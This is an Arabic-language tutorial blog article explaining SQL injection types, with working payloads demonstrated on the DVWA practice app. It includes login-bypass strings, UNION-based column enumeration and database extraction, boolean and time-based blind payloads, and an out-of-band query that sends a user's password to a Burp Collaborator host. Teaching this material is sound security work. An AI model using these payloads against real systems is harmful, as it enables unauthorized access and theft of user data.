ما تريد معرفته عن SQL Injection

Vulnerabilities
هي من الثغرات الأمنية التي قد يجلب استغلالها نتائج كارثية، من تسريب لكافة البيانات الخاصة بتطبيق الويب وبيانات المستخدمين من كلمات مرور ومعلومات شخصية أو تفاصيل بطاقات الائتمان المخزنة في قواعد البيانات
Abdelrahman Nasr
Feb. 27, 2023, 4 p.m.
Abdelrahman
ما تريد معرفته عن SQL Injection

كنا قد تعرفنا في آخر مقالة علي ما هو الـ Injection؟ وكيف يحدث؟ وماهي أنواعه؟ وكيف تقوم بحماية تطبيق الويب من هجماته؟

ما تريد معرفته عن Injection Attacks

ما هي الـ SQL Injection؟

هي من الثغرات الأمنية التي قد يجلب استغلالها نتائج كارثية، من تسريب لكافة البيانات الخاصة بتطبيق الويب وبيانات المستخدمين من كلمات مرور ومعلومات شخصية أو تفاصيل بطاقات الائتمان المخزنة في قواعد البيانات، حيث تستخدم تطبيقات الويب SQL Queries في عمليات المصادقة للتأكد من بيانات المستخدم ولجلب المعلومات من قاعدة البيانات لإظهار بعض البيانات التي تخص المستخدم أو حتى لعرض تلك المقالة التي تقرؤها الآن، وكل ما يتعلق بإنشاء أو تعديل أو حذف البيانات يتم باستخدام الـ SQL Queries.

ولكن قد يتم استغلال ذلك وحقن الـ SQL بـ Queries قد تؤدي لكشف جميع ما تحتويه قاعدة البيانات أو تعديلها أو حتى حذفها، وذلك ما يجعل الـ SQLi خطراً قد يهدد أمان تطبيقات الويب ويشكل تهديداً لسمعتها وثقة عملائها.

سوف نقوم بإعطاء مثال صغير في البداية لكيفية تجاوز الـ SQL Query، لنفترض أنه لدينا نموذج لتسجيل الدخول يحتوي علي اسم المستخدم وكلمة المرور، عندما يتم إرسال المحتويات يتم تنفيذ Query بهذا الشكل علي سبيل المثال قمنا بإرسال اسم مستخدم Root-X وكلمة مرور Password:

SELECT * FROM users WHERE user='Root-X' AND pass='Password'

الآن ماذا يحدث إذا قمنا بحقن حقل الـ username بـ:

' -- 
  •  علامة ' لإغلاق علامة تنصيص متغير اسم المستخدم
  • وعلامتي -- لجعل باقِ الـ Query كتعليق (Comment) لا يمكن تنفيذه

لتصبح الـ Query بهذا الشكل:

SELECT * FROM users WHERE user='' -- AND pass=''

أو يمكن استخدام علامة الـ # بدلاً من الـ -- لتكون هكذا:

SELECT * FROM users WHERE user='' # AND pass=''

الآن لما لا نحاول تجاوز المصادقة وتسجيل الدخول دون استخدام اسم مستخدم وكلمة مرور؟

سنقوم بحقن الـ username بـ:

' OR 1=1 #

لتصبح الـ Query بهذا الشكل:

SELECT * FROM users WHERE user='' OR 1=1 # AND pass=''

تم إغلاق علامة التنصيص لمتغير اسم المستخدم ثم تقوم بالتحقق من الشرط الثاني وهو إذا كان 1 = 1 وهذا طبعاً صحيح ثم تنتهي الـ Query بعلامة الـ # لإيقاف الـ Query، من المفترض ان ذلك سيقوم بتجاوز المصادقة وتسجيل الدخول بعدها.

؟SQL Injection Points ما هي الـ

يوجد العديد من النقاط التي تستخدم فيها تطبيقات الويب قواعد البيانات لاسترداد بعض المعلومات لعرضها للمستخدم من ضمنها علي سبيل المثال:

GET Based

يتم هجوم الحقن باستخدام GET Request من خلال متغير في الـ URL علي سبيل المثال:

Example.com/id?=1

يقوم المتغير id باسترداد قيمة = 1 من قاعدة البيانات وذلك ما يجعله مكاناً لاختبار الـ SQLi

POST  Based

يتم اختبار الـ SQLi في الـ Forms التي تقوم باستخدام الـ POST Request علي سبيل المثال تجاوز عملية المصادقة من خلال الـ Login Form.

HEADER Based

يوجد في الـ HTTP Request العديد من الـ Headers التي قد يتم اختبار الحقن عليها مثل:

  1. x-forwarded-for
  2. user-agent
  3. referer

Cookie Based

قد يتم أيضا استخدام الـ Cookie لحقن SQL Query.

ما هي  أنواع الـ SQL Injection؟

In-band SQLi

هو نوع من أنواع الـ SQLi حيث تظهر نتيجة الهجوم مباشرة، فإذا قام المهاجم بالحقن يدوياً باستخدام متصفح ويب، فسيتم عرض نتيجة الهجوم بداخل متصفح الويب نفسه، وينقسم ذلك النوع إلى قسمين:

Error Based

يمثل معرفة ما يحدث علي السيرفر وعرض الأخطاء المفصلة للمستخدمين خطأ كارثياً، يحدث الـ Error Based عندما يقوم المهاجم بعملية الحقن ليظهر له خطأ في قاعدة البيانات، وذلك ما يوفر له بعض المعلومات مثل نوع قاعدة البيانات التي يتعامل معها مما يسهل له كتابة الـ Payload المناسب، سوف نعطي مثالاً باستخدام DVWA وهو تطبيق ويب لتعلم وتجربة الثغرات عليه.

يوجد حقل لدينا حيث نقوم بوضع الـ User ID ليقوم باسترداد بعض بيانات المستخدمين.

سنقوم بحقن الـ Form بـ \ أو ' لكسر الـ Query ونرى ما النتيجة.

إذا كانت الثغرة من نوع Error Based ستظهر لنا رسالة نصية مشابهة لتلك:

من هذا الخطأ عرفنا بأن قاعدة البيانات المستخدمة هي MySQL إذا سوف نستخدم في الحقن الـ MySQL Query Syntax فقط.

UNION Based

يعتبر أخطر أنواع الـ SQLi لأنه يتيح الحصول علي المعلومات مباشرة من قاعدة البيانات من خلال حقن UNION Queries، لنكمل على المثال السابق.

قبل أن نستخدم UNION في الحقن لا بد من معرفة عدد الأعمدة التي يتم عرضها علي متصفح الويب، سوف نستخدم في الحقن order by بهذا الشكل:

' order by 1 #

عند الضغط علي submit إذا لم يظهر أي خطأ من قبل السيرفر إذا فيوجد علي الأقل عمود واحد يتم استرداد البيانات منه، ذلك ما يجعلنا نقوم بزيادة الرقم.

' order by 2 #

بعد الضغط علي زر Submit لا يزال لا يوجد أي خطأ قد ظهر لنا، إذا يوجد حتى الآن عمودان يتم استرداد البيانات منهما.

' order by 3 #

عند زيادة الرقم إلى 3 والضغط علي submit سيظهر لنا خطأ يحتوي على:

Unknown column '3' in 'order clause'

إذا هنا نستنتج أنه لا يوجد عمودا ثالثا يمكن استرداد البيانات من خلاله، أي أن عدد الأعمدة التي تستطيع أن تقوم باستغلالها = order by n- 1 حيث n يساوي الرقم الذي حدث عنده الخطأ.

سنقوم الآن بحقن UNION Query لنستطيع معرفة أين يتم استعراض البيانات التي سنقوم بإدخالها.

' union select all 'Root-X',2023 #

تم استعراض البيانات علي المتصفح في الـ First name وSurname.

الآن لماذا لا نحاول استرداد بيانات خاصة بقاعدة البيانات بدلاً من طباعة بيانات قمنا بإدخالها.

سنقوم باستخدام DATABASE() لاسترداد اسم قاعدة البيانات، وVERSION() لإصدار قاعدة البيانات المستخدمة.

' union select all DATABASE(),VERSION() #

تم طباعة البيانات علي المتصفح:

  • اسم قاعدة البيانات dvwa
  • الإصدار 5.0.51 a- 3 ubuntu 5

Blind SQLi

يعتبر ذلك النوع صعباً في التعامل معه حيث لا يتم تلقي أي استجابة من قاعدة البيانات، حيث يعتمد الحقن علي مراقبة سلوك قاعدة البيانات والخادم، وذلك ما قد يأخذ وقتاً طويلاً للوصول إلى نتيجة، وينقسم ذلك النوع إلى قسمين:

Blind Boolean

يعتمد علي الشروط المنطقية لمعرفة، حيث يقوم المهاجم بدمج Payload الحقن مع شرط منطقي للتأكد ما إذا كانت المدخلات صحيحة أم لا.

لنعود مرة أخرى لنفس المثال عندما كنا نضع User ID لإظهار بعض البيانات:

ماذا لو قمنا باستخدام Boolean Injection مثل هذا:

' or 1=2 #

لن يقوم باسترداد أي بيانات لأنه لم يتم تحقيق الشرط فمن المؤكد أن 1 لا تساوي أبدا 2، ولكن ماذا لو قمنا بحقن:

' or 1=1 #

سيقوم بإظهار لنا جميع البيانات الخاصة بالمستخدمين، لأنه تم التحقيق الشرط حيث 1 = 1.

Blind Time

يستخدم ذلك الحقن لمراقبة ما إذا كان الخادم وقاعدة البيانات تستجيب لـ Query قد تسبب أي تأخيرات زمنية.

سوق نقوم بالحقن باستخدام sleep() ونعطيه قيمة 5 ثوان:

' or sleep(5) #

أصبح الخادم وقاعدة البيانات لا يستجيبان لمدة 5 ثوان بسبب استخدام sleep() في الـ SQLi.

Out-of-Band

لا يعد ذلك النوع من الحقن شائعاً، لأنه يعتمد علي الـ Services والـ Ports التي تعمل علي خادم قاعدة البيانات، حيث لا يستطيع المهاجم الوصول لنتائج من التطبيق نفسه، حيث يتم الهجوم من خلال الاعتماد على قدرة خادم قاعدة البيانات من الاستجابة علي الـ HTTP Requsts أو الـ DNS Requests وتلقي الـ  Response في نقطة خارجية.

يمكن استخدام الـ BurpCollaborator المدمج في BurpSuite Professional لاستقبال الـ Response وتختلف طريقة استغلال وحقن الـ out-of-band باختلاف نوع قاعدة البيانات علي سبيل المثال باستخدام قاعدة بيانات من نوع MySQL:

SELECT password FROM users WHERE username='Root-X' INTO OUTFILE 'something.burpcollaborator.net\a'

يقوم هذا الحقن بتحديد كلمة المرور الخاصة بالمستخدم وإرساله لـ burpcollaborator لقراءة كلمة السر.

كيف تحمي تطبيق ال ويب الخاص بك من الـ SQLi؟  

كنا قد تحدثنا عن طرق الحماية ضد هجمات الحقن بشكل عام في مقالة ما تريد معرفته عن Injection Attacks، إذا كنت تريد معرفة المزيد من التفاصيل قم بقراءة المقالة.

وإلى هنا نكون قد أعطينا لمحة بسيطة عن كل نوع من أنواع الـ SQLi ربما في المستقبل القريب نشرح بالتفصيل كل نوع في مقالة منفردة.
وهنا نكون قد وصلنا إلى نهاية مقالتنا عزيزي القارئ ولا تنسى أن تنتظرنا قريباً- إن شاء الله- وإلى لقاء آخر قريب...


Injection SQL SQLi in-band out-band error union boolean time blind owasp database query حقن Abdelrahman Nasr